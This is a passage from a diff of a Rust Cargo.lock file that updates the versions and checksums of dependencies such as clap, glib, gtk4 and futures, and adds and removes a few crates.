-662,23 +620,23 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "chrono" -version = "0.4.31" +version = "0.4.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" dependencies = [ "android-tzdata", "iana-time-zone", "js-sys", "num-traits", "wasm-bindgen", - "windows-targets 0.48.5", + "windows-targets 0.52.4", ] [[package]] name = "clang-sys" -version = "1.6.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c688fc74432808e3eb684cae8830a86be1d66a2bd58e1f248ed0960a590baf6f" +checksum = "67523a3b4be3ce1989d607a828d036249522dd9c1c8de7f4dd2dae43a37369d1" dependencies = [ "glob", "libc", @@ -687,9 +645,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.11" +version = "4.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bfaff671f6b22ca62406885ece523383b9b64022e341e53e009a62ebc47a45f2" +checksum = "c918d541ef2913577a0f9566e9ce27cb35b6df072075769e0b26cb5a554520da" dependencies = [ "clap_builder", "clap_derive", @@ -697,33 +655,33 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.4.11" +version = "4.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a216b506622bb1d316cd51328dce24e07bdff4a6128a47c7e7fad11878d5adbb" +checksum = "9f3e7391dad68afb0c2ede1bf619f579a3dc9c2ec67f089baa397123a2f3d1eb" dependencies = [ "anstream", "anstyle", "clap_lex", - "strsim", + "strsim 0.11.0", ] [[package]] name = "clap_derive" -version = "4.4.7" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "clap_lex" -version = "0.6.0" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" +checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" [[package]] name = "cmake" @@ -777,15 +735,15 @@ dependencies = [ [[package]] name = "console" -version = "0.15.7" +version = "0.15.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c926e00cc70edefdc64d3a5ff31cc65bb97a3460097762bd23afb4d8145fccf8" +checksum = "0e1f83fc076bd6dd27517eacdf25fef6c4dfe5f1d7448bafaaf3a26f13b5e4eb" dependencies = [ "encode_unicode", "lazy_static", "libc", "unicode-width", - "windows-sys 0.45.0", + "windows-sys 0.52.0", ] [[package]] @@ -807,9 +765,9 @@ dependencies = [ [[package]] name = "coreaudio-sys" -version = "0.2.14" +version = "0.2.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3120ebb80a9de008e638ad833d4127d50ea3d3a960ea23ea69bc66d9358a028" +checksum = "7f01585027057ff5f0a5bf276174ae4c1594a2c5bde93d5f46a016d76270f5a9" dependencies = [ "bindgen", ] @@ -841,51 +799,46 @@ dependencies = [ [[package]] name = "crc32fast" -version = "1.3.2" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" dependencies = [ "cfg-if", ] [[package]] -name = "critical-section" -version = "1.1.2" +name = "crossbeam-channel" +version = "0.5.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7059fff8937831a9ae6f0fe4d658ffabf58f2ca96aa9dec1c889f936f705f216" +checksum = "ab3db02a9c5b5121e1e42fbdb1aeb65f5e02624cc58c43f2884c6ccac0b82f95" +dependencies = [ + "crossbeam-utils", +] [[package]] name = "crossbeam-deque" -version = "0.8.3" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "cfg-if", "crossbeam-epoch", "crossbeam-utils", ] [[package]] name = "crossbeam-epoch" -version = "0.9.15" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "autocfg", - "cfg-if", "crossbeam-utils", - "memoffset", - "scopeguard", ] [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "crunchy" @@ -913,14 +866,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" dependencies = [ "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "cxx" -version = "1.0.110" +version = "1.0.118" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7129e341034ecb940c9072817cd9007974ea696844fc4dd582dc1653a7fbe2e8" +checksum = "2673ca5ae28334544ec2a6b18ebe666c42a2650abfb48abbd532ed409a44be2b" dependencies = [ "cc", "cxxbridge-flags", @@ -930,31 +883,31 @@ dependencies = [ [[package]] name = "cxx-gen" -version = "0.7.110" +version = "0.7.118" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3e0fc77e9f8d61724be90deb42a7e50ba3bf37c7c16dc91cdba821f69a5e0e9" +checksum = "a94f02b4e45d7d00ecabff7635833f71c786576067b3d4158c8bef65d0a8e38b" dependencies = [ "codespan-reporting", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "cxxbridge-flags" -version = "1.0.110" +version = "1.0.118" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "06fdd177fc61050d63f67f5bd6351fac6ab5526694ea8e359cd9cd3b75857f44" +checksum = "886acf875df67811c11cd015506b3392b9e1820b1627af1a6f4e93ccdfc74d11" [[package]] name = "cxxbridge-macro" -version = "1.0.110" +version = "1.0.118" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "587663dd5fb3d10932c8aecfe7c844db1bcf0aee93eeab08fac13dc1212c2e7f" +checksum = "1d151cc139c3080e07f448f93a1284577ab2283d2a44acd902c6fba9ec20b6de" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] @@ -977,7 +930,7 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "strsim", + "strsim 0.10.0", "syn 1.0.109", ] @@ -1102,9 +1055,9 @@ dependencies = [ [[package]] name = "either" -version = "1.9.0" +version = "1.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" [[package]] name = "encode_unicode" @@ -1135,19 +1088,6 @@ dependencies = [ ] [[package]] -name = "env_logger" -version = "0.10.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95b3f3e67048839cb0d0781f445682a35113da7121f7c949db0e2be96a4fbece" -dependencies = [ - "humantime", - "is-terminal", - "log", - "regex", - "termcolor", -] - -[[package]] name = "equivalent" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1180,9 +1120,9 @@ checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" [[package]] name = "event-listener" -version = "3.1.0" +version = "4.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d93877bcde0eb80ca09131a08d23f0a5c18a620b01db137dba666d18cd9b30c2" +checksum = "67b215c49b2b248c855fb73579eb1f4f26c38ffdc12973e20e07b91d78d5646e" dependencies = [ "concurrent-queue", "parking", @@ -1191,9 +1131,9 @@ dependencies = [ [[package]] name = "event-listener" -version = "4.0.0" +version = "5.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "770d968249b5d99410d61f5bf89057f3199a077a04d087092f58e7d10692baae" +checksum = "2b5fb89194fa3cad959b833185b3063ba881dbfc7030680b314250779fb4cc91" dependencies = [ "concurrent-queue", "parking", @@ -1206,15 +1146,25 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "958e4d70b6d5e81971bebec42271ec641e7ff4e170a6fa605f2b8a8b65cb97d3" dependencies = [ - "event-listener 4.0.0", + "event-listener 4.0.3", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "feedafcaa9b749175d5ac357452a9d41ea2911da598fde46ce1fe02c37751291" +dependencies = [ + "event-listener 5.2.0", "pin-project-lite", ] [[package]] name = "exr" -version = "1.71.0" +version = "1.72.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "832a761f35ab3e6664babfbdc6cef35a4860e816ec3916dcfd0882954e98a8a8" +checksum = "887d93f60543e9a9362ef8a21beedd0a833c5d9610e18c67abe15a5963dcb1a4" dependencies = [ "bit_field", "flume", @@ -1227,19 +1177,16 @@ dependencies = [ ] [[package]] -name = "fast-srgb8" -version = "1.0.0" +name = "extended" +version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd2e7510819d6fbf51a5545c8f922716ecfb14df168a3242f7d33e0239efe6a1" +checksum = "af9673d8203fcb076b19dfd17e38b3d4ae9f44959416ea532ce72415a6020365" [[package]] -name = "fastrand" -version = "1.9.0" +name = "fast-srgb8" +version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" -dependencies = [ - "instant", -] +checksum = "dd2e7510819d6fbf51a5545c8f922716ecfb14df168a3242f7d33e0239efe6a1" [[package]] name = "fastrand" @@ -1249,9 +1196,9 @@ checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" [[package]] name = "fdeflate" -version = "0.3.1" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64d6dafc854908ff5da46ff3f8f473c6984119a2876a383a860246dd7841a868" +checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645" dependencies = [ "simd-adler32", ] @@ -1267,6 +1214,27 @@ dependencies = [ ] [[package]] +name = "file-id" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6584280525fb2059cba3db2c04abf947a1a29a45ddae89f3870f8281704fafc9" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "filetime" +version = "0.2.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "windows-sys 0.52.0", +] + +[[package]] name = "flate2" version = "1.0.28" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1308,18 +1276,18 @@ checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" [[package]] name = "fontconfig-parser" -version = "0.5.3" +version = "0.5.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "674e258f4b5d2dcd63888c01c68413c51f565e8af99d2f7701c7b81d79ef41c4" +checksum = "6a595cb550439a117696039dfc69830492058211b771a2a165379f2a1a53d84d" dependencies = [ - "roxmltree 0.18.1", + "roxmltree", ] [[package]] name = "fontdb" -version = "0.15.0" +version = "0.16.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "020e203f177c0fb250fb19455a252e838d2bbbce1f80f25ecc42402aafa8cd38" +checksum = "b0299020c3ef3f60f526a4f64ab4a3d4ce116b1acbf24cdd22da0068e5d81dc3" dependencies = [ "fontconfig-parser", "log", @@ -1345,6 +1313,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" [[package]] +name = "fsevent-sys" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76ee7a02da4d231650c7cea31349b889be2f45ddb3ef3032d2ec8185f6313fd2" +dependencies = [ + "libc", +] + +[[package]] name = "futf" version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1356,9 +1333,9 @@ dependencies = [ [[package]] name = "futures" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da0290714b38af9b4a7b094b8a37086d1b4e61f2df9122c3cad2577669145335" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" dependencies = [ "futures-channel", "futures-core", @@ -1371,9 +1348,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" dependencies = [ "futures-core", "futures-sink", @@ -1381,15 +1358,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" [[package]] name = "futures-executor" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" dependencies = [ "futures-core", "futures-task", @@ -1398,32 +1375,17 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" - -[[package]] -name = "futures-lite" -version = "1.13.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" -dependencies = [ - "fastrand 1.9.0", - "futures-core", - "futures-io", - "memchr", - "parking", - "pin-project-lite", - "waker-fn", -] +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" [[package]] name = "futures-lite" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aeee267a1883f7ebef3700f262d2d54de95dfaf38189015a74fdc4e0c7ad8143" +checksum = "445ba825b27408685aaecefd65178908c36c6e96aaf6d8599419d46e624192ba" dependencies = [ - "fastrand 2.0.1", + "fastrand", "futures-core", "futures-io", "parking", @@ -1432,32 +1394,32 @@ dependencies = [ [[package]] name = "futures-macro" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "futures-sink" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e36d3378ee38c2a36ad710c5d30c2911d752cb941c00c72dbabfb786a7970817" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" [[package]] name = "futures-task" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" [[package]] name = "futures-util" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" dependencies = [ "futures-channel", "futures-core", @@ -1482,22 +1444,21 @@ dependencies = [ [[package]] name = "gdk-pixbuf" -version = "0.18.3" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "446f32b74d22c33b7b258d4af4ffde53c2bf96ca2e29abdf1a785fe59bd6c82c" +checksum = "f6a23f8a0b5090494fd04924662d463f8386cc678dd3915015a838c1a3679b92" dependencies = [ "gdk-pixbuf-sys", "gio", "glib", "libc", - "once_cell", ] [[package]] name = "gdk-pixbuf-sys" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7" +checksum = "3dcbd04c1b2c4834cc008b4828bc917d062483b88d26effde6342e5622028f96" dependencies = [ "gio-sys", "glib-sys", @@ -1508,9 +1469,9 @@ dependencies = [ [[package]] name = "gdk4" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7edb019ad581f8ecf8ea8e4baa6df7c483a95b5a59be3140be6a9c3b0c632af6" +checksum = "6771942f85a2beaa220c64739395e4401b9fab4a52aba9b503fa1e6ed4d4d806" dependencies = [ "cairo-rs", "gdk-pixbuf", @@ -1523,9 +1484,9 @@ dependencies = [ [[package]] name = "gdk4-sys" -version = "0.7.2" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbab43f332a3cf1df9974da690b5bb0e26720ed09a228178ce52175372dcfef0" +checksum = "1eb95854fab65072023a7814434f003db571d6e45c287c0b0c540c1c78bdf6ae" dependencies = [ "cairo-sys-rs", "gdk-pixbuf-sys", @@ -1540,9 +1501,9 @@ dependencies = [ [[package]] name = "geo" -version = "0.27.0" +version = "0.28.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4841b40fdbccd4b7042bd6195e4de91da54af34c50632e371bcbfcdfb558b873" +checksum = "f811f663912a69249fa620dcd2a005db7254529da2d8a0b23942e81f47084501" dependencies = [ "earcutr", "float_next_after", @@ -1557,9 +1518,9 @@ dependencies = [ [[package]] name = "geo-types" -version = "0.7.12" +version = "0.7.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567495020b114f1ce9bed679b29975aa0bfae06ac22beacd5cfde5dabe7b05d6" +checksum = "9ff16065e5720f376fbced200a5ae0f47ace85fd70b7e54269790281353b6d61" dependencies = [ "approx", "num-traits", @@ -1569,18 +1530,18 @@ dependencies = [ [[package]] name = "geographiclib-rs" -version = "0.2.3" +version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ea804e7bd3c6a4ca6a01edfa35231557a8a81d4d3f3e1e2b650d028c42592be" +checksum = "e6e5ed84f8089c70234b0a8e0aedb6dc733671612ddc0d37c6066052f9781960" dependencies = [ - "lazy_static", + "libm", ] [[package]] name = "getrandom" -version = "0.2.11" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" dependencies = [ "cfg-if", "libc", @@ -1609,9 +1570,9 @@ dependencies = [ [[package]] name = "gif" -version = "0.12.0" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "80792593675e051cf94a4b111980da2ba60d4a83e43e0048c5693baab3977045" +checksum = "3fb2d69b19215e18bb912fa30f7ce15846e301408695e44e0ef719f1da9e19f2" dependencies = [ "color_quant", "weezl", @@ -1625,9 +1586,9 @@ checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "gio" -version = "0.18.3" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "47d809baf02bdf1b5ef4ad3bf60dd9d4977149db4612b7bbb58e56aef168193b" +checksum = "2eae10b27b6dd27e22ed0d812c6387deba295e6fc004a8b379e459b663b05a02" dependencies = [ "futures-channel", "futures-core", @@ -1636,7 +1597,6 @@ dependencies = [ "gio-sys", "glib", "libc", - "once_cell", "pin-project-lite", "smallvec", "thiserror", @@ -1644,24 +1604,24 @@ dependencies = [ [[package]] name = "gio-sys" -version = "0.18.1" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2" +checksum = "bcf8e1d9219bb294636753d307b030c1e8a032062cba74f493c431a5c8b81ce4" dependencies = [ "glib-sys", "gobject-sys", "libc", "system-deps", - "winapi", + "windows-sys 0.52.0", ] [[package]] name = "glib" -version = "0.18.3" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58cf801b6f7829fa76db37449ab67c9c98a2b1bf21076d9113225621e61a0fa6" +checksum = "ab9e86540b5d8402e905ad4ce7d6aa544092131ab564f3102175af176b90a053" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "futures-channel", "futures-core", "futures-executor", @@ -1673,36 +1633,37 @@ dependencies = [ "gobject-sys", "libc", "memchr", - "once_cell", "smallvec", "thiserror", ] [[package]] name = "glib-build-tools" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3431c56f463443cba9bc3600248bc6d680cb614c2ee1cdd39dab5415bd12ac5c" +checksum = "108f374fff60efd14b0d70d8916e7213aed18d7dd071ba3e9334ed2dac1dc86a" +dependencies = [ + "gio", +] [[package]] name = "glib-macros" -version = "0.18.3" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72793962ceece3863c2965d7f10c8786323b17c7adea75a515809fa20ab799a5" +checksum = "0f5897ca27a83e4cdc7b4666850bade0a2e73e17689aabafcc9acddad9d823b8" dependencies = [ "heck", - "proc-macro-crate 2.0.1", - "proc-macro-error", + "proc-macro-crate 3.1.0", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "glib-sys" -version = "0.18.1" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898" +checksum = "630f097773d7c7a0bb3258df4e8157b47dc98bbfa0e60ad9ab56174813feced4" dependencies = [ "libc", "system-deps", @@ -1716,9 +1677,9 @@ checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "gobject-sys" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44" +checksum = "c85e2b1080b9418dd0c58b498da3a5c826030343e0ef07bde6a955d28de54979" dependencies = [ "glib-sys", "libc", @@ -1727,9 +1688,9 @@ dependencies = [ [[package]] name = "graphene-rs" -version = "0.18.1" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3b2228cda1505613a7a956cca69076892cfbda84fc2b7a62b94a41a272c0c401" +checksum = "99e4d388e96c5f29e2b2f67045d229ddf826d0a8d6d282f94ed3b34452222c91" dependencies = [ "glib", "graphene-sys", @@ -1738,9 +1699,9 @@ dependencies = [ [[package]] name = "graphene-sys" -version = "0.18.1" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cc4144cee8fc8788f2a9b73dc5f1d4e1189d1f95305c4cb7bd9c1af1cfa31f59" +checksum = "236ed66cc9b18d8adf233716f75de803d0bf6fc806f60d14d948974a12e240d0" dependencies = [ "glib-sys", "libc", @@ -1750,9 +1711,9 @@ dependencies = [ [[package]] name = "gsk4" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d958e351d2f210309b32d081c832d7de0aca0b077aa10d88336c6379bd01f7e" +checksum = "0e8ce8dee0fd87a11002214b1204ff18c9272fbd530408f0884a0f9b25dc31de" dependencies = [ "cairo-rs", "gdk4", @@ -1765,9 +1726,9 @@ dependencies = [ [[package]] name = "gsk4-sys" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12bd9e3effea989f020e8f1ff3fa3b8c63ba93d43b899c11a118868853a56d55" +checksum = "2660a652da5b662d43924df19ba40d73f015ed427329ef51d2b1360a4e0dc0e4" dependencies = [ "cairo-sys-rs", "gdk4-sys", @@ -1781,9 +1742,9 @@ dependencies = [ [[package]] name = "gtk4" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5aeb51aa3e9728575a053e1f43543cd9992ac2477e1b186ad824fd4adfb70842" +checksum = "7d26ffa3ec6316ccaa1df62d3e7f5bae1637c0acbb43f250fabef38319f73c64" dependencies = [ "cairo-rs", "field-offset", @@ -1802,12 +1763,12 @@ dependencies = [ [[package]] name = "gtk4-macros" -version = "0.7.2" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d57ec49cf9b657f69a05bca8027cff0a8dfd0c49e812be026fc7311f2163832f" +checksum = "c8b86439e9896f6f3f47c3d8077c5c8205174078760afdabd9098a8e9e937d97" dependencies = [ "anyhow", - "proc-macro-crate 1.3.1", + "proc-macro-crate 3.1.0", "proc-macro-error", "proc-macro2", "quote", @@ -1816,9 +1777,9 @@ dependencies = [ [[package]] name = "gtk4-sys" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54d8c4aa23638ce9faa2caf7e2a27d4a1295af2155c8e8d28c4d4eeca7a65eb8" +checksum = "2abc0a6d356d59a3806021829ce6ed3e70bba3509b41a535fedcb09fae13fbc0" dependencies = [ "cairo-sys-rs", "gdk-pixbuf-sys", @@ -1835,18 +1796,19 @@ dependencies = [ [[package]] name = "half" -version = "2.2.1" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "02b4af3693f1b705df946e9fe5631932443781d0aabb423b62fcd4d73f6d2fd0" +checksum = "b5eceaaeec696539ddaf7b333340f1af35a5aa87ae3e4f3ead0532f72affab2e" dependencies = [ + "cfg-if", "crunchy", ] [[package]] name = "hash32" -version = "0.2.1" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0c35f58762feb77d74ebe43bdbc3210f09be9fe6742234d573bacc26ed92b67" +checksum = "47d60b12902ba28e2730cd37e95b8c9223af2808df9e902d4df49588d1470606" dependencies = [ "byteorder", ] @@ -1869,14 +1831,11 @@ dependencies = [ [[package]] name = "heapless" -version = "0.7.17" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cdc6457c0eb62c71aac4bc17216026d8410337c4126773b9c5daba343f17964f" +checksum = "0bfb9eb618601c89945a70e254898da93b13be0388091d42117462b265bb3fad" dependencies = [ - "atomic-polyfill", "hash32", - "rustc_version", - "spin", "stable_deref_trait", ] @@ -1897,17 +1856,17 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.3" +version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" +checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024" [[package]] name = "home" -version = "0.5.5" +version = "0.5.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -1918,9 +1877,9 @@ checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" [[package]] name = "iana-time-zone" -version = "0.1.58" +version = "0.1.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" dependencies = [ "android_system_properties", "core-foundation-sys", @@ -1969,9 +1928,9 @@ dependencies = [ [[package]] name = "image" -version = "0.24.7" +version = "0.24.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f3dfdbdd72063086ff443e297b61695500514b1e41095b6fb9a5ab48a70a711" +checksum = "5690139d2f55868e080017335e4b94cb7414274c74f1669c84fb5feba2c9f69d" dependencies = [ "bytemuck", "byteorder", @@ -1979,7 